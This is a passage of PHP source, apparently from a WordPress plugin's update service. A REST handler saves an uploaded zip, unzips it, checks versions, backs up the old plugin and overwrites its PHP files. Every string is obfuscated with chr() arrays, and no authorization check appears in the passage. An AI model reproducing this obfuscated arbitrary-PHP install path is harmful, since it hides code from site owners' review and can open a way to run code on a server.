return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(100), chr(105), chr(114), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $uploads[implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114)))], implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$zipPath = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45))) . \time() . implode('', array(chr(46), chr(122), chr(105), chr(112)));
if (!\wp_mkdir_p($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))])) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(101), chr(110), chr(115), chr(117), chr(114), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(32), chr(98), chr(97), chr(115), chr(101), chr(32), chr(100), chr(105), chr(114))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
if (!@\move_uploaded_file($file[implode('', array(chr(116), chr(109), chr(112), chr(95), chr(110), chr(97), chr(109), chr(101)))], $zipPath)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(109), chr(111), chr(118), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$step = implode('', array(chr(122), chr(105), chr(112), chr(95), chr(115), chr(97), chr(118), chr(101), chr(100)));
$ft = \wp_check_filetype_and_ext($zipPath, \basename($zipPath));
if ((\wp_editor_array_has_key($ft, implode('', array(chr(101), chr(120), chr(116)))) ? $ft[implode('', array(chr(101), chr(120), chr(116)))] : '') !== implode('', array(chr(122), chr(105), chr(112)))) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(116), chr(121), chr(112), chr(101), chr(32), chr(40), chr(101), chr(120), chr(112), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(46), chr(122), chr(105), chr(112), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$tempDir = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(116), chr(109), chr(112), chr(45))) . \wp_generate_password(8, false, false);
if (!\wp_mkdir_p($tempDir)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(116), chr(101), chr(109), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$unz = \unzip_file($zipPath, $tempDir);
if (\is_wp_error($unz)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(117), chr(110), chr(122), chr(105), chr(112), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(58), chr(32))) . $unz->get_error_message(), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$step = implode('', array(chr(117), chr(110), chr(122), chr(105), chr(112), chr(112), chr(101), chr(100)));
$extractedRoot = WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedRoot($tempDir);
if ($extractedRoot === '') {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(32), chr(101), chr(120), chr(116), chr(114), chr(97), chr(99), chr(116), chr(101), chr(100), chr(32), chr(114), chr(111), chr(111), chr(116))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$extractedPluginDir = WpEditor_Adapter_Services_PluginUpdateUpgraderService_detectExtractedPluginDir($extractedRoot, $pluginSlug);
$extractedMainFile = \trailingslashit($extractedPluginDir) . $pluginFile;
if (!\file_exists($extractedMainFile)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100), chr(32), chr(105), chr(110), chr(32), chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$step = implode('', array(chr(97), chr(114), chr(99), chr(104), chr(105), chr(118), chr(101), chr(95), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(101), chr(100)));
$newData = \get_file_data($extractedMainFile, array(implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))));
$newVersion = \wp_editor_array_has_key($newData, implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? \trim((string) $newData[implode('', array(chr(86), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))]) : '';
if ($newVersion === '') {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
if ($currentVersion !== '' && \version_compare($newVersion, $currentVersion, implode('', array(chr(60), chr(61))))) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(32), chr(105), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(110), chr(101), chr(119), chr(101), chr(114))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 400);
}
$step = implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110), chr(95), chr(99), chr(104), chr(101), chr(99), chr(107), chr(101), chr(100)));
if ($shouldBackup && $wp_filesystem->is_dir($targetPluginDir)) {
$backupBase = \trailingslashit(\WP_PLUGIN_DIR) . implode('', array(chr(46))) . $namePrefix . implode('', array(chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(115)));
if (!\wp_mkdir_p($backupBase)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$backupDir = \trailingslashit($backupBase) . $pluginSlug . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time() . implode('', array(chr(45))) . \wp_generate_password(6, false, false);
$step = implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(109), chr(111), chr(118), chr(101)));
$moved = $wp_filesystem->move($targetPluginDir, $backupDir, true);
if ($moved) {
$backupStrategy = implode('', array(chr(109), chr(111), chr(118), chr(101)));
} else {
$renameErr = null;
if (\function_exists(implode('', array(chr(114), chr(101), chr(110), chr(97), chr(109), chr(101))))) {
$prev = \error_get_last();
@\rename($targetPluginDir, $backupDir);
$after = \error_get_last();
if (\is_array($after) && $after !== $prev) {
$renameErr = is_array($after) && \wp_editor_array_has_key($after, implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) ? $after[implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))] : null;
}
}
$uploadsBackupBase = \trailingslashit($uploads[implode('', array(chr(98), chr(97), chr(115), chr(101), chr(100), chr(105), chr(114)))]) . $namePrefix . implode('', array(chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(115)));
if (!\wp_mkdir_p($uploadsBackupBase)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(32), chr(117), chr(112), chr(108), chr(111), chr(97), chr(100), chr(115), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
}
$backupDir = \trailingslashit($uploadsBackupBase) . $pluginSlug . implode('', array(chr(45), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(45))) . \time() . implode('', array(chr(45))) . \wp_generate_password(6, false, false);
if (!\function_exists(implode('', array(chr(99), chr(111), chr(112), chr(121), chr(95), chr(100), chr(105), chr(114))))) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121), chr(32), chr(40), chr(99), chr(111), chr(112), chr(121), chr(95), chr(100), chr(105), chr(114), chr(40), chr(41), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(118), chr(97), chr(105), chr(108), chr(97), chr(98), chr(108), chr(101), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
}
$copyResult = \copy_dir($targetPluginDir, $backupDir);
if (\is_wp_error($copyResult)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(32), chr(99), chr(117), chr(114), chr(114), chr(101), chr(110), chr(116), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(111), chr(114), chr(121), chr(58), chr(32))) . _invoke($copyResult, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(100), chr(101), chr(116), chr(97), chr(105), chr(108), chr(115))) => array(implode('', array(chr(102), chr(115))) => \is_object($wp_filesystem) ? \get_class($wp_filesystem) : \gettype($wp_filesystem), implode('', array(chr(115), chr(114), chr(99))) => $targetPluginDir, implode('', array(chr(100), chr(115), chr(116))) => $backupDir, implode('', array(chr(112), chr(104), chr(112), chr(95), chr(114), chr(101), chr(110), chr(97), chr(109), chr(101), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114))) => $renameErr)), 500);
}
$backupStrategy = implode('', array(chr(99), chr(111), chr(112), chr(121)));
}
}
if (WpEditor_Adapter_Services_PluginUpdateUpgraderService_isSingleFilePackage($extractedPluginDir, $pluginFile)) {
$step = implode('', array(chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(95), chr(109), chr(97), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101)));
$targetMainFile = \trailingslashit($targetPluginDir) . $pluginFile;
$oldContents = $wp_filesystem->exists($targetMainFile) ? $wp_filesystem->get_contents($targetMainFile) : null;
$newContents = $wp_filesystem->get_contents($extractedMainFile);
if (!\is_string($newContents) || $newContents === '') {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(114), chr(101), chr(97), chr(100), chr(32), chr(110), chr(101), chr(119), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(115))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
}
if (\strpos($newContents, implode('', array(chr(60), chr(63), chr(112), chr(104), chr(112)))) === false) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(100), chr(111), chr(101), chr(115), chr(32), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(111), chr(107), chr(32), chr(108), chr(105), chr(107), chr(101), chr(32), chr(80), chr(72), chr(80), chr(32), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 400);
}
$written = $wp_filesystem->put_contents($targetMainFile, $newContents, \defined(implode('', array(chr(70), chr(83), chr(95), chr(67), chr(72), chr(77), chr(79), chr(68), chr(95), chr(70), chr(73), chr(76), chr(69)))) ? \FS_CHMOD_FILE : null);
if (!$written) {
if (\is_string($oldContents) && $oldContents !== '') {
$wp_filesystem->put_contents($targetMainFile, $oldContents, \defined(implode('', array(chr(70), chr(83), chr(95), chr(67), chr(72), chr(77), chr(79), chr(68), chr(95), chr(70), chr(73), chr(76), chr(69)))) ? \FS_CHMOD_FILE : null);
}
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(70), chr(97), chr(105), chr(108), chr(101), chr(100), chr(32), chr(116), chr(111), chr(32), chr(119), chr(114), chr(105), chr(116), chr(101), chr(32), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(109), chr(97), chr(105), chr(110), chr(32), chr(102), chr(105), chr(108), chr(101), chr(32), chr(40), chr(112), chr(101), chr(114), chr(109), chr(105), chr(115), chr(115), chr(105), chr(111), chr(110), chr(115), chr(63), chr(41))), implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null), 500);
}
$step = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101))))) {
\wp_clean_plugins_cache(true);
}
if ($backupStrategy === implode('', array(chr(109), chr(111), chr(118), chr(101))) && $backupDir !== '' && $wp_filesystem->is_dir($backupDir)) {
$step = implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112)));
$wp_filesystem->delete($backupDir, true);
}
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))), implode('', array(chr(111), chr(108), chr(100), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $currentVersion, implode('', array(chr(110), chr(101), chr(119), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => $newVersion, implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(115), chr(116), chr(114), chr(97), chr(116), chr(101), chr(103), chr(121))) => $backupStrategy, implode('', array(chr(98), chr(97), chr(99), chr(107), chr(117), chr(112), chr(95), chr(100), chr(105), chr(114))) => $backupDir !== '' ? $backupDir : null, implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(109), chr(111), chr(100), chr(101))) => implode('', array(chr(115), chr(105), chr(110), chr(103), chr(108), chr(101), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101)))), 200);
}
$skin = WpEditor_Adapter_Services_PluginUpdateInlineSkin__construct();
$upgrader = new \Plugin_Upgrader($skin);
$sourceSelection = function ($source, $remoteSource, $upgraderInstance) use($pluginSlug, $pluginFile) {
if (!$upgraderInstance instanceof \Plugin_Upgrader) {
return $source;
}
if (!\is_string($source) || $source === '') {
return $source;
}
$candidate = rtrim($source, implode('', array(chr(47), chr(92))));
if (\basename($candidate) === $pluginSlug && \file_exists($candidate . implode('', array(chr(47))) . $pluginFile)) {
return $candidate;
}
if (\is_dir($candidate . implode('', array(chr(47))) . $pluginSlug) && \file_exists($candidate . implode('', array(chr(47))) . $pluginSlug . implode('', array(chr(47))) . $pluginFile)) {
return $candidate . implode('', array(chr(47))) . $pluginSlug;
}
return $source;
};
\add_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10, 3);
try {
$step = implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(114), chr(117), chr(110)));
$result = $upgrader->run(array(implode('', array(chr(112), chr(97), chr(99), chr(107), chr(97), chr(103), chr(101))) => $zipPath, implode('', array(chr(100), chr(101), chr(115), chr(116), chr(105), chr(110), chr(97), chr(116), chr(105), chr(111), chr(110))) => $targetPluginDir, implode('', array(chr(99), chr(108), chr(101), chr(97), chr(114), chr(95), chr(100), chr(101), chr(115), chr(116), chr(105), chr(110), chr(97), chr(116), chr(105), chr(111), chr(110))) => true, implode('', array(chr(99), chr(108), chr(101), chr(97), chr(114), chr(95), chr(119), chr(111), chr(114), chr(107), chr(105), chr(110), chr(103))) => true, implode('', array(chr(104), chr(111), chr(111), chr(107), chr(95), chr(101), chr(120), chr(116), chr(114), chr(97))) => array(implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(97), chr(99), chr(116), chr(105), chr(111), chr(110))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101))), implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => $pluginRelFile)));
\remove_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10);
} catch (\Exception $e) {
\remove_filter(implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(115), chr(101), chr(108), chr(101), chr(99), chr(116), chr(105), chr(111), chr(110))), $sourceSelection, 10);
throw $e;
}
$upgraderMessages = isset($skin->messages) ? $skin->messages : array();
if (\is_wp_error($result)) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
if (!$result) {
return new \WP_REST_Response(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(112), chr(100), chr(97), chr(116), chr(101), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100))), implode('', array(chr(117), chr(112), chr(103), chr(114), chr(97), chr(100), chr(101), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(115))) => $upgraderMessages, implode('', array(chr(115), chr(116), chr(101), chr(112))) => $step), 500);
}
$step = implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(100)));
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(99), chr(108), chr(101), chr(97), chr(110), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(95), chr(99), chr(97), chr(99), chr(104), chr(101))))) {
\wp_clean_plugins_cache(true);
}
if ($backupDir !== '' && $wp_filesystem->is_dir($backupDir)) {
$step = implode('', array(chr(99), chr(108), chr(101), chr(97), chr(110), chr(117), chr(112), chr(95), chr(98), chr(97), chr(99), chr(107), chr(117), chr(112)));
$wp_filesystem->delete($backupDir, true);
}
